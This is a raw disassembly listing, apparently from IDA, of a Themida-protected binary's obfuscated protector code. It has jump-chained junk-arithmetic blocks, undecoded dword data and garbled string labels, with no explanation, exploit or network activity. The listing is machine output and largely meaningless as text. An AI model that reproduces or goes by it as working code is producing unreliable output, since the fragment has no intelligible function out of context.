		dd 0E9000000h, 114C2h, 0C15BD889h, 1E2D03E8h, 0D03D575h
		dd 784A0C6Ch, 0DBA5E9h,	89DF8900h, 243C8BFEh, 0FFF4D9E9h
		dd 59CE09FFh, 3B83C681h, 9CE9E6C8h, 8BFFFFF0h, 0EB832424h
		dd 0C72FE904h, 0EEC10000h, 7E6C108h, 0A5BCEE81h, 0F38944FBh
		dd 0B16AE9h, 4EC8100h, 89000000h, 481242Ch, 0EC4D8424h
		dd 0F5E95A7Fh
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55153B:				; CODE XREF: Themida_:0055D7F2j
		add	eax, ebp
		pop	ebp
		sub	eax, 17E92718h
		jmp	loc_558FD4
; ---------------------------------------------------------------------------

loc_551548:				; CODE XREF: Themida_:0055B782j
		add	dl, ah
		mov	ax, [esp]
		jmp	loc_55655A
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0D5F604E5h, 287AC580h, 0EBC059EBh, 0C0DBF603h, 0C38604EBh
		dd 0C386D0F6h, 0D5B05052h, 58C688h, 73E95AF3h, 29000118h
		dd 2434FFE9h, 0E9C7E9h,	0F6FDB700h, 51CF80DFh, 0D7F6CFFEh
		dd 0C0F1E9h
		db 0
; ---------------------------------------------------------------------------

loc_551595:				; CODE XREF: Themida_:00553E80j
		push	edx
		mov	edx, 38B00F73h
		jmp	loc_55F966
; ---------------------------------------------------------------------------
		dd 3CB85058h, 0C16DD60Ah, 10502E0h, 5006EC4Eh, 8B2414F7h
		dd 0C4832404h, 1AEAE904h, 348B0001h, 4C48324h, 4E5C15Eh
		dd 87F5874Dh, 87D3F7DEh, 81F587DEh, 8711B8E5h, 2E5C14Dh
		dd 0C5F5ED81h, 0EA01D80Ah, 83242C8Bh, 0D03104C4h, 2A8CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5515F2:				; CODE XREF: Themida_:00561AF7j
		mov	ebp, 60462878h
		add	eax, 2B5257C7h
		sub	eax, ebp
		jmp	loc_55F2EC
; ---------------------------------------------------------------------------

loc_551603:				; CODE XREF: Themida_:0055AD68j
		pop	ebp
		not	ebp
		push	ebx
		push	7A59h
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	ebp
		jmp	loc_5533C7
; ---------------------------------------------------------------------------
		dd 43CEBF57h, 0F8014C5Ah, 83243C8Bh, 0C80104C4h, 41B951h
		dd 77E95116h, 81000092h, 0C95776CBh, 0B9C3815Eh, 120A4BDh
		dd 914EE9D8h, 0C0FE0000h, 662CD8F6h, 0FFF53BE9h, 555B54FFh
		dd 4BDh, 5DEB0100h, 2C381h, 0EC810000h,	4, 2B6DE9h, 4BF00h
		dd 7C010000h, 55E90424h, 0B80000C2h, 28912D6Bh,	0F758C229h
		dd 5B85E9D2h, 34FF0000h, 0C4815B24h, 4,	66EA0058h, 83240C8Bh
		dd 0F90402C4h, 0F92CD028h, 86AEE9h, 0E5EB8100h,	0E9521F52h
		dd 504h, 0F72801B6h, 12A2685Ah,	4890000h, 4FA1E924h, 90B40000h
		dd 0EC65E952h, 0BD550000h, 350A6B42h, 4F5DEF29h, 3E5DB951h
		dd 0D1F74785h, 1590E181h, 0C1810217h, 8D83DD91h, 0CB9C781h
		dd 0CF295C45h, 0CB9EF81h, 52595C45h, 77E9FA89h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551707:				; CODE XREF: Themida_:00560396j
		add	esp, 4
		add	esp, 4
		jmp	loc_559FE3
; ---------------------------------------------------------------------------

loc_551718:				; CODE XREF: Themida_:00560656j
		not	esi
		shl	esi, 1
		jmp	loc_55C279
; ---------------------------------------------------------------------------
		db 66h,	89h, 4
		dd 1E77E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55172A:				; CODE XREF: Themida_:00560EECj
		mov	ebp, 0A8B5667h
		mov	edx, 37F45EB9h
		xor	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	edi, edx
		inc	edi
		xchg	edi, edx
		or	edx, 5DCF041Eh
		sub	edx, 5C10FB72h
		jmp	loc_550FCB
; ---------------------------------------------------------------------------

loc_551756:				; CODE XREF: Themida_:0055E732j
		mov	ebx, edi
		pop	edi
		jmp	loc_5539E5
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4BD626CEh, 251BC681h, 0E95209FBh, 0A494h, 5D2404FFh
		dd 4683ED81h, 0E953172Bh, 4D86h, 0E98DCD80h, 0FDh
; ---------------------------------------------------------------------------

loc_551788:				; CODE XREF: Themida_:005558D7j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 69FE16A5h
		push	9602695Bh
		pop	edx
		sub	edx, 41842D9Ch
		add	edx, ecx
		jmp	loc_5529F4
; ---------------------------------------------------------------------------

loc_5517A7:				; CODE XREF: Themida_:00553E8Fj
		xor	edx, 10FE584Ch
		add	eax, edx
		jmp	loc_556E8C
; ---------------------------------------------------------------------------
		dd 0DE87D3F7h, 0B068DEF7h, 0E9000076h, 0F24Bh, 4C181h
		dd 0C1810000h, 4, 2474FF51h, 2434FF04h,	4C48159h, 8F000000h
		dd 685C2404h, 11DFh, 89240489h,	0A2E951E0h
		db 2Ch,	1, 0
; ---------------------------------------------------------------------------

loc_5517F3:				; CODE XREF: Themida_:00559D56j
		add	edx, 9A3998DAh
		sub	edi, edx
		pop	edx
		add	[esp+4], edi
		mov	edi, [esp]
		push	29E0h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [edi+24h]

loc_551823:				; CODE XREF: Themida_:00557E26j
		push	53EAh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_550639
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C48104h, 5000000h, 3994775Ah, 9E33572Dh, 5D82918h
		dd 189E3357h, 784DE9h
		db 0
; ---------------------------------------------------------------------------

loc_551869:				; CODE XREF: Themida_:0055D2D5j
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, ebp
		sub	eax, 16ED2h
		sub	eax, 1B8446F6h
		jmp	loc_55E0E7
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 0EDh
aALsgx		db '€Ãléƒx',0
		align 10h
		dd 0C8B5851h, 4C48324h,	596F68h, 86CAE900h, 3C890000h
		dd 7FBE5624h, 4E52A571h, 3818BD55h, 0EE091374h,	84EE815Dh
		dd 4E5BCA49h, 6E1BE681h, 0EE811D5Ah, 0B9E4D6ADh, 42E9F789h
		dd 810000B6h, 4ECh, 242C8900h, 4D2904BDh, 1B2BE972h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5518E2:				; CODE XREF: Themida_:0055B963j
		push	377Fh
		mov	[esp], edx
		push	19B7h
		mov	[esp], esi
		jmp	loc_55B742
; ---------------------------------------------------------------------------
aB4j		db '^ÆÜ4†',0
		dw 15Bh
		dd 2434FFF0h, 4C4815Eh,	87000000h, 2EE92404h, 8100010Fh
		dd 4A69C3EDh, 81C5012Bh, 4A69C3C5h, 0E1E9582Bh,	680000DCh
		dd 0BB45071h, 483C2558h, 900D7927h, 0C120F23Fh,	552D08E0h
		dd 29C3D189h, 7DBE9C1h
		db 1, 0
; ---------------------------------------------------------------------------

loc_551946:				; CODE XREF: Themida_:0055FDA4j
		mov	ecx, ebx
		push	ecx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	ecx
		jmp	loc_55B04D
; ---------------------------------------------------------------------------
		db 2Ch,	97h, 0
		dd 17F4E9D0h, 0CF280000h, 50CFFE59h, 0EB2C73B0h, 0C2E94D04h
		dd 500000F4h, 0AA6733B8h, 2444815Bh, 0AE0B3508h, 24440177h
		dd 246C8108h, 0AE0B3508h, 0D526E977h, 835B0000h, 2C8904ECh
		dd 0E9E58924h, 8DE5h, 4C481h, 76680000h, 89000049h, 25E92414h
		dd 8100007Dh, 4C4h, 48C7E900h
		db 2 dup(0)
word_5519BE	dw 0D4E9h		; DATA XREF: Themida_:0054FEF0o
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5519C3:				; CODE XREF: Themida_:00565300j
		push	ebx
		mov	ebx, 0D6449C7h
		jmp	loc_550AF2
; ---------------------------------------------------------------------------

loc_5519CE:				; CODE XREF: Themida_:005610F7j
		shr	ah, 5
		inc	ah
		sub	ah, 5Dh
		add	bl, ah
		pop	eax
		jmp	loc_558FA3
; ---------------------------------------------------------------------------

loc_5519DE:				; CODE XREF: Themida_:005532A4j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5631F7
; ---------------------------------------------------------------------------

loc_551A01:				; CODE XREF: Themida_:00557CCBj
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	esi
		jmp	loc_55DEFA
; ---------------------------------------------------------------------------
		db 5Bh
		dd 78E9CF01h, 810000A0h, 0B29D06E9h, 0A0F2E9DBh, 0EF810000h
		dd 0B3800D27h, 835FFB01h, 48904ECh, 4528B824h, 0D0F70D6Fh
		dd 0F704E0C1h, 0E9D0F7D0h, 6836h
; ---------------------------------------------------------------------------

loc_551A44:				; CODE XREF: Themida_:0055639Ej
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5538C6
; ---------------------------------------------------------------------------

loc_551A56:				; CODE XREF: Themida_:0055709Dj
		add	ecx, 0C2C6F047h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55ADC1
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8704EF83h, 895C243Ch, 0E954243Ch,	0A4DEh
; ---------------------------------------------------------------------------

loc_551A84:				; CODE XREF: Themida_:0055A680j
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_55E9FB
; ---------------------------------------------------------------------------

loc_551A93:				; CODE XREF: Themida_:00560DB9j
		add	ebp, 4
		jmp	loc_5565C0
; ---------------------------------------------------------------------------

loc_551A9E:				; CODE XREF: Themida_:00563EF1j
		add	ecx, 221D1D24h
		add	ecx, edx
		jmp	loc_552FF4
; ---------------------------------------------------------------------------
		db 29h
		dd 0DD895DEBh, 5DEF015Bh, 5C243C87h, 31240C33h,	96E9240Ch
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------

loc_551AC3:				; CODE XREF: Themida_:00565659j
		mov	eax, 1CCE21B3h
		and	ebp, eax
		pop	eax
		not	ebp
		sub	ebp, 6D7525E3h
		dec	ebp
		xor	ebp, 8300EB7Fh
		mov	eax, ebp
		pop	ebp
		mov	edx, eax
		jmp	loc_550B4D
; ---------------------------------------------------------------------------

loc_551AE4:				; CODE XREF: Themida_:00555C43j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_561FF4
; ---------------------------------------------------------------------------
		db 89h
		dd 75BF243Ch, 4F78F76Eh, 71F78147h, 2978F76Eh, 34335FFEh
		dd 24343124h, 8B243433h, 0D4E92424h, 5100005Ch,	621B68h
		dd 24148900h, 3DBDE9h
		db 0
; ---------------------------------------------------------------------------

loc_551B25:				; CODE XREF: Themida_:0055EB68j
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55F518
; ---------------------------------------------------------------------------

loc_551B36:				; CODE XREF: Themida_:00555743j
		shr	esi, 1
		or	esi, 7788102Ch
		jmp	loc_559451
; ---------------------------------------------------------------------------
		db 83h
		dd 143304C2h, 24143124h, 8B241433h, 6AE92424h, 890000CBh
		dd 4EB9240Ch, 57360053h, 0CB37ECBFh, 0C9F78142h, 16C9732h
		dd 0C8015FF8h, 0C95FE9h
		db 0
; ---------------------------------------------------------------------------

loc_551B75:				; CODE XREF: Themida_:0055496Ej
		add	bl, 0BEh
		add	bl, 0BFh
		jmp	loc_55D94A
; ---------------------------------------------------------------------------
a0xsz		db '0åéz»',0
		db 0
; ---------------------------------------------------------------------------

loc_551B87:				; CODE XREF: Themida_:005617C3j
		sub	bl, cl
		pop	ecx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_55A653
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 1
		dd 12F0060h, 529CE9D7h,	59590000h, 34FFC300h, 0E14FE924h
		dd 8F5E0000h, 0FE5C2404h, 0E99C240Ch, 0FFFFE4DBh, 0E924348Bh
		dd 0C8A5h, 0A2BA5253h, 0C11A034Dh, 0EAC103EAh, 0A0FFE907h
		dd 0EC810000h, 4, 0FFD7E9h, 24048900h, 0A33ABBB8h, 3AB93559h
		dd 0C50159A3h, 0E924048Bh, 0CF08h, 8104E2Dh, 5C8297Ch
		dd 7C08104Eh, 4158522Dh, 1EBF5700h, 810FE770h, 2922E4EFh
		dd 6801E915h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551C1A:				; CODE XREF: Themida_:0055F6ECj
		mov	[esp], edx
		mov	edx, 3F3F0423h
		add	eax, edx
		push	dword ptr [esp]
		jmp	loc_55115A
; ---------------------------------------------------------------------------
dword_551C2C	dd 8B2434FFh, 0C4832404h, 4EC8304h, 54240C89h, 11BE5659h
					; DATA XREF: Themida_:0054FF08o
		dd 0E930D837h, 23A8h, 59CB295Bh, 767968h, 0F2E6E900h, 2C89FFFFh
		dd 0B2E95424h, 6400006Eh, 0E9028966h, 0FFFFE42Fh, 915EE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551C6E:				; CODE XREF: Themida_:0055F304j
		add	ebx, eax
		pop	eax
		push	ecx
		push	674267B8h
		pop	ecx
		jmp	loc_564926
; ---------------------------------------------------------------------------

loc_551C7D:				; CODE XREF: Themida_:00552420j
		add	esi, edx
		pop	edx
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_5642D9
; ---------------------------------------------------------------------------
		db 81h
		dd 0BE69A6C3h, 0F842E907h, 0E948FFFFh, 14FFh
; ---------------------------------------------------------------------------

loc_551C9C:				; CODE XREF: Themida_:0055CFD2j
		mov	[esp], ebp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55023D
; ---------------------------------------------------------------------------
aUs		db 'Ué]š',0
		align 10h
		dd 5A2434FFh, 0D94E952h, 348B0001h, 4C48324h, 33F368h
		dd 243C8900h, 42474FFh,	24048F5Fh, 829FE9h, 8BFB0100h
		dd 0C483243Ch, 4EC8104h, 89000000h, 0A0BE2434h,	5305F84Bh
		dd 0AA6265BBh, 8BDE3136h, 8951241Ch, 4C181E1h, 83000000h
		dd 0C8704C1h, 0B9515C24h, 7C3A339Eh, 12584E9h, 0DDF18100h
		dd 31A98B8Bh, 0D00159CAh, 3B7BE9h, 8817B300h, 6E5BE9DEh
		dd 875A0000h, 895C242Ch, 0B5BE2434h, 0C166746Bh, 50E902EEh
		dd 5E0000A4h, 8B24048Fh, 9A682424h, 8900003Bh, 0BB241Ch
		dd 83000000h, 11E904ECh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551D5B:				; CODE XREF: Themida_:0055C02Aj
		mov	edx, 0
		add	edx, ecx
		add	eax, [edx]
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55F200
; ---------------------------------------------------------------------------
		dd 5EC968h, 24248900h, 4240481h, 0E9000000h, 0FFFFF66Dh
		dd 0C181E189h, 4, 4BF57h, 0F9010000h, 240C875Fh, 2BA525Ch
		dd 81000000h, 0BB7DD2EFh, 18EAE94Fh, 0D8290000h, 6164E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551DB6:				; CODE XREF: Themida_:0055BFC7j
		add	esi, 4
		push	eax
		mov	eax, 12972A2Bh
		not	eax
		sub	eax, 0ED68D5D0h
		add	esi, eax
		jmp	loc_55D562
; ---------------------------------------------------------------------------
		dd 5204C283h, 1109EE9h,	0D1685C00h, 8900005Bh, 0E954241Ch
		dd 0DEAh, 4DD168h, 242C8900h, 0B9665157h, 41660FA7h, 0E1E98166h
		dd 0CF8966FEh, 0D7F76659h, 0CEEF8166h, 0C7816676h, 8966A788h
		dd 0C1665FFDh, 816607EDh, 0E94D94CDh, 7DD2h, 5EFC147h
		dd 2145C781h, 0BDE95995h, 50000047h, 4A3D60B8h,	0B5E7E950h
		dd 805B0000h, 885082F5h, 88D0F6E8h, 526658C5h, 0AF4FE950h
		dd 0E9BE0000h, 0F731D433h, 36E0E9D6h
		db 1, 0
; ---------------------------------------------------------------------------

loc_551E5A:				; CODE XREF: Themida_:0055634Dj
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 433B0AE4h
		jmp	loc_55239E
; ---------------------------------------------------------------------------
		dd 8B240433h, 6E92424h,	510000C2h, 1810A7B9h, 59CA31CBh
		dd 1314BE9h, 27F28100h,	1BF7165h, 23E95AD7h, 5D00012Fh
		dd 24048F5Fh, 3C34E9h, 4EF8100h, 87000000h, 895C243Ch
		dd 0EC83240Ch, 60E06804h, 24890000h, 0EC835524h, 241C8904h
		dd 864AE9h, 4BF00h, 0FA010000h,	2414875Fh, 0A290E9h
		db 0
byte_551ED1	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FEA0o
aHF		db '$h+F',0
		align 2
		dw 1489h
aItsB		db '$䉎',9,'',0
		align 4
		dd 0A852B3B9h, 0B9F3E96Dh, 34330000h, 34FF5C24h, 0BBD2E924h
		dd 0E95D0000h, 3966h
dword_551F00	dd 24048B66h, 4EC81h, 4890000h,	4EC8324h, 81242489h, 42404h
					; DATA XREF: Themida_:0054FE20o
		dd 34FF0000h, 0C4815824h, 4, 405h, 34FBE900h, 0C7830000h
		dd 74FF5704h, 0E95F0424h, 0FFFFF4E3h, 0EF295B5Fh, 0E9242C8Bh
		dd 626h
; ---------------------------------------------------------------------------

loc_551F48:				; CODE XREF: Themida_:0055F6D7j
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_551FBC
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815E24h, 4, 0B269E957h, 5E540000h, 4C681h, 0E9530000h
		dd 0D8Fh, 0E9243C89h, 0FFFFF571h, 5B241C29h, 3E4FCB81h
		dd 34E92C3Fh, 0BD0000FEh, 77645314h, 815DEE29h,	47274AC6h
		dd 2434FF7Fh, 8324048Bh, 0C48304C4h, 1C770904h,	0E0E9E95Eh
		dd 0ED81FFFFh, 0B17A386Fh, 0E95DEB01h, 0EB11h
; ---------------------------------------------------------------------------

loc_551FBC:				; CODE XREF: Themida_:00551F51j
		pop	eax
		push	7670h
		mov	[esp], esi
		jmp	loc_55133C
; ---------------------------------------------------------------------------
aIcsq		db '‰æéïÏ',0
		db 0
; ---------------------------------------------------------------------------

loc_551FD1:				; CODE XREF: Themida_:0055C5F0j
		dec	ebp
		jmp	loc_56416A
; ---------------------------------------------------------------------------
byte_551FD7	db 0ADh			; DATA XREF: Themida_:0054FF98o
		dd 507BBD55h, 0EC83576Bh, 242C8904h, 242C8B53h,	0E904C483h
		dd 115DFh, 5C241487h, 0A8E4E9h,	6683B800h, 0C289367Fh
		dd 8E2C158h, 2F4FE9h
		db 0
byte_552009	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FF6Co
aSe_0		db '$ée,',0
		align 2

loc_552012:				; CODE XREF: Themida_:0055D0A7j
		mov	dl, 68h
		mov	ah, 0DDh
		sub	ah, 49h
		add	ah, dl
		add	ah, 49h
		mov	edx, [esp]
		add	esp, 4
		mov	cl, 9
		sub	cl, 0BAh
		add	cl, ah
		add	cl, 0BAh
		pop	eax
		or	cl, 55h
		shr	cl, 1
		shr	cl, 3
		add	cl, 0FFh
		push	ebx
		mov	bl, 69h
		jmp	loc_55BF7A
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0C7h
		dd 5FC6858h, 0F7E90000h, 0C1000031h, 0CB8102EBh, 0A08741Ah
		dd 162CE9h
		db 0
; ---------------------------------------------------------------------------

loc_552061:				; CODE XREF: Themida_:0055DBC6j
		push	eax
		pop	dword ptr [edx+30h]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dw 18E9h
		dd 0FFFFE0h, 535866E3h,	28BBh, 51FB0100h, 4984E9h, 0B3E95200h
		db 0Dh,	1, 0
; ---------------------------------------------------------------------------

loc_552097:				; CODE XREF: Themida_:00557285j
		pop	ecx
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		jmp	loc_552867
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 42FCE981h, 0D90171F7h, 42FCBE56h, 29E971F7h
		dd 800000AFh, 0F680D9F6h, 9B45090h, 0C480CCFEh,	389AE9CCh
		dd 0D6010000h, 0F031E9h, 58C28900h, 0C619E9h
		db 0
; ---------------------------------------------------------------------------

loc_5520E1:				; CODE XREF: Themida_:0055FA16j
		pop	edi
		mov	edx, ebx
		jmp	loc_550820
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FFE109E9h
		db 0FFh
byte_5520F1	db 0F6h, 1Ch, 24h	; DATA XREF: Themida_:0054FFBCo
aS_7		db 'œéÛÛ',0
		align 2
		dw 0E981h
		dd 513E0151h, 0F552E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552106:				; CODE XREF: Themida_:00556F82j
		shr	eax, 4
		not	eax
		inc	eax
		jmp	loc_555F80
; ---------------------------------------------------------------------------
byte_552111	db 0FFh, 77h, 40h	; DATA XREF: Themida_:0055002Co
		dd 7054E9h, 25E8D100h, 7B8579E7h, 57D8E9h, 6E95600h, 57000000h
		dd 0FFF540E9h, 21B968FFh, 57E948FEh, 0B90000C2h, 0B26FC387h
		dd 42E9CD01h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552147:				; CODE XREF: Themida_:00563460j
		sub	esp, 4
		jmp	loc_5653F8
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E95AD001h, 3D0Bh, 241C8966h, 88DAB652h, 0C5805AF7h
		dd 1FF2E924h, 57290000h, 572FE940h, 2C890000h, 54E924h
		dd 0CF890001h, 4EC8359h, 8B243C89h, 0C4812404h,	4, 8BC1015Fh
		dd 0C4812404h, 4, 0D6DEE9h, 241C8B00h, 4C481h, 8DE90000h
		dd 0FF0000C7h, 0DEE5E930h, 8159FFFFh, 374CC9C1h, 241C8B36h
		dd 4C481h, 0E9C10000h, 0F7E98705h, 31E931D5h, 55E931CDh
		dd 6679DABDh, 0E9DDF734h, 5132h, 615968h, 240C8900h, 0A918E9h
		dd 5C476800h, 0C890000h, 3791B924h, 0CE217DC3h,	7686E9h
		dd 5DE93100h, 5624348Bh, 0C681E689h, 4,	8704C683h, 15C2434h
		dd 0B1E959C8h
		db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55221B:				; CODE XREF: Themida_:00559BE4j
		push	3A48h
		jmp	loc_56038A
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0E3h
		dd 0C164532Bh, 0E98105E1h, 4AA9CCF9h, 8159CE89h, 18D09DC6h
		dd 1381E9D9h
		db 1, 0
word_552242	dw 8B66h		; DATA XREF: Themida_:0054FEC0o
		dd 0A9682404h, 89000060h, 8B542404h, 0EC812404h, 4, 42CCE9h
		db 0
; ---------------------------------------------------------------------------

loc_55225D:				; CODE XREF: Themida_:00564546j
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	1
		mov	edx, [esp]
		push	edx
		jmp	loc_55F7B5
; ---------------------------------------------------------------------------

loc_55228A:				; CODE XREF: Themida_:0055E3EFj
		not	esi
		add	esi, 92DE3C8Ah
		xor	ebx, esi
		pop	esi
		jmp	loc_55803A
; ---------------------------------------------------------------------------
		dw 8950h
		dd 0EDE952E0h
		db 5, 1, 0
; ---------------------------------------------------------------------------

loc_5522A3:				; CODE XREF: Themida_:00560142j
		mov	[esp], edx
		push	edx
		mov	edx, esp
		jmp	loc_5558CB
; ---------------------------------------------------------------------------
		dw 7768h
		dd 89000077h, 2EBB241Ch, 0E956DE47h, 5079h, 4244C31h, 81240C8Bh
		dd 4C4h, 57565B00h, 0DD019568h,	0EF815F67h, 3D4EF58Dh
		dd 0F75FFE89h, 0D3EE81DEh, 5723FE74h, 0D80777BFh, 0BA52473Ch
		dd 521F337Dh, 0F93C281h, 0C2815F55h, 8BFCBED4h,	815AD701h
		dd 842350CFh, 40C78106h, 0F73EF37Ch, 0AEEF81D7h, 314C6EDFh
		dd 0F3315FFEh, 6ADEE9h,	4E1C100h, 8105E1C1h, 0AB6596E9h
		dd 0A3A5E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552332:				; CODE XREF: Themida_:00554A72j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_556AF4
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4896624h, 2044B024h,	0E95866C2h, 647h, 8324048Bh, 3C8704C4h
		dd 24248B24h, 0E7868h, 241C8900h, 415D68h, 24248900h, 4240483h
		dd 0FFDD28E9h, 3A3268FFh, 0C0E90000h, 0F7000062h, 0C1D1F7D9h
		dd 67E905E9h, 0BD0000E1h, 4, 875DE801h,	248B2404h, 0DCF9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55239E:				; CODE XREF: Themida_:00551E67j
		xor	edi, 433B0AE0h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_553447
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 7D5422C3h, 50C3010Fh, 7D5422B8h, 0E9C3290Fh,	130Ah
		dd 0EEE95A54h, 90000EBh, 24048BC6h, 0C104C483h,	0ADE908E6h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5523F7:				; CODE XREF: Themida_:005555B4j
		xchg	ebx, [esp]
		pop	esp
		push	1B5Dh
		jmp	loc_562F65
; ---------------------------------------------------------------------------

loc_552405:				; CODE XREF: Themida_:005586D8j
		mov	ecx, 55441AB5h
		push	60A37B5Bh
		pop	edx
		xor	edx, ecx
		pop	ecx
		shr	edx, 5
		jmp	loc_5537DD
; ---------------------------------------------------------------------------

loc_55241B:				; CODE XREF: Themida_:0055E0FFj
		mov	edx, 4
		jmp	loc_551C7D
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0B5h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55242B:				; CODE XREF: Themida_:00554371j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	4D45h
		mov	[esp], edx
		mov	edx, 38BC64F8h
		jmp	loc_55762C
; ---------------------------------------------------------------------------
aXs		db 'XéÅÒ',0
		db 0
; ---------------------------------------------------------------------------

loc_55244F:				; CODE XREF: Themida_:0055D1CAj
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 13AF069Bh
		shl	eax, 8
		shr	eax, 7
		push	eax
		jmp	loc_55356C
; ---------------------------------------------------------------------------
		dd 63D368h, 240C8900h, 0DEE95752h, 0F7000090h, 0BE2E9D1h
		dd 0B9510001h, 5CB40F22h, 2A38E9h, 241C8B00h, 8104C483h
		dd 5B6A86F3h, 0D989514Ch, 89CE8956h, 8B595EF2h,	8957241Ch
		dd 4C781E7h, 0E9000000h, 6C90h
; ---------------------------------------------------------------------------

loc_5524B8:				; CODE XREF: Themida_:0055274Ej
		dec	esi
		jmp	loc_55B17B
; ---------------------------------------------------------------------------

loc_5524BE:				; CODE XREF: Themida_:0055A1B0j
		sub	edi, ecx
		pop	ecx
		jmp	loc_55AAA5
; ---------------------------------------------------------------------------
		dw 535Bh
		dd 63E9A9B7h, 89000126h, 5053240Ch, 0C0FE43B0h,	6A34C0FEh
		dd 0D0E9C788h, 520000C7h, 18E76850h, 48B1484h, 0E1895124h
		dd 0D8D2E9h, 1BB100h, 70459CFh,	72CF800h, 0EEE9505Bh
		db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_552507:				; CODE XREF: Themida_:00550C2Cj
		push	1CC5h
		mov	[esp], edi
		push	5535h
		jmp	loc_55F8B9
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C6815E54h, 4, 46853h, 0E95B0000h, 0FFFFDF1Eh, 2CD3E957h
		dd 70B40000h, 0E480D4F6h, 0F5C480ACh, 0F658E128h, 80D9F6D1h
		dd 0C180D6F1h, 8BCE8813h, 0C481240Ch, 4, 595FE9h, 24348B00h
		dd 4C481h, 0C870000h, 104AE924h, 89520001h, 65BF57E2h
		dd 8169DE70h, 6123A5E7h, 0EB62E96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552582:				; CODE XREF: Themida_:0055F44Dj
		pop	ecx
		add	esp, 4
		add	esp, 4
		or	edx, eax
		jmp	loc_555D50
; ---------------------------------------------------------------------------
		db 5Dh
		dd 75EBA52h, 11E936C5h,	8100009Dh, 4C4h, 24348700h, 0E02CE95Ch
